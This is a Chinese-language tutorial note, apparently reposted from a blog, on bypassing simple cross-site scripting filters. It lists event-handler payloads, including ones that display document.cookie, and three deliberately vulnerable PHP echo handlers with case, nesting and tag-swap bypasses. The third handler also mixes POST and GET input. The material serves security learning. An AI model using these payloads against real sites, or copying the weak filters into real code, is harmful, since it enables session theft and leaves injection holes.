XSS的简单过滤和绕过


攻击载荷:

以下所有标签的 > 都可以用 // 代替, 例如 #弹出hack #弹出hack #弹出1,对于数字可以不用引号 #弹出cookie #引用外部的xss


svg标签 :

```javascript
<svg onload="alert(1)">
<svg onload="alert(1)"//

标签:

<img  src=1  οnerrοr=alert("hack")>
<img  src=1  οnerrοr=alert(document.cookie)>  #弹出cookie
标签:
<body οnlοad=alert(1)>
<body οnpageshοw=alert(1)>

video标签:

<video οnlοadstart=alert(1) src="/media/hack-the-planet.mp4" />

style标签:

<style οnlοad=alert(1)></style>

可以进行过滤绕过,以达到XSS攻击的目的。

区分大小写过滤标签

 //前端 1.html:
<html>
<head lang="en">
    <meta charset="UTF-8">
    <title>反射型XSS</title>
</head>
<body>
    <form action="action4.php" method="post">
        <input type="text" name="name" />
        <input type="submit" value="提交">
    </form>
</body>
</html>

//后端 action4.php:
<?php
$name=$_POST["name"]; 
if($name!=null){
	$name=preg_replace("/<script>/","",$name);      //过滤<script>
	$name=preg_replace("/<\/script>/","",$name);   //过滤</script>
	echo $name; 
}
?>

绕过技巧:可以使用大小写绕过

不区分大小写过滤标签

 //前端 1.html:
<html>

<head lang="en">
    <meta charset="UTF-8">
    <title>反射型XSS</title>
</head>

<body>
    <form action="action4.php" method="post">
        <input type="text" name="name" />
        <input type="submit" value="提交">
    </form>
</body>
</html>

//后端 action4.php:
<?php
$name=$_POST["name"]; 
if($name!=null){
$name=preg_replace("/<script>/i","",$name);    //不区分大小写过滤 <script>
$name=preg_replace("/<\/script>/i","",$name);  //不区分大小写过滤 </script>
	echo $name; 
}
?>

绕过技巧:可以使用嵌套的script标签绕过 <script>

不区分大小写,过滤之间的所有内容

 //前端 1.html:
<html>

<head lang="en">
    <meta charset="UTF-8">
    <title>反射型XSS</title>
</head>

<body>
    <form action="action4.php" method="post">
        <input type="text" name="name" />
        <input type="submit" value="提交">
    </form>
</body>
</html>

//后端 action4.php:
<?php
$name=$_POST["name"]; 
if($name!=null){
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] ); //过滤了<script  及其之间的所有内容
	echo $name; 
}
?>

虽然无法使用 <script> 标签注入XSS代码,但是可以通过img、body等标签的事件或者 iframe 等标签的 src 注入恶意的 js 代码。

我们可以输入 <img src=1 οnerrοr=alert('hack')> ,然后看看页面的变化

笔记来源于: XSS(跨站脚本攻击)详解 - 墨鱼菜鸡 - 博客园 (cnblogs.com)


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM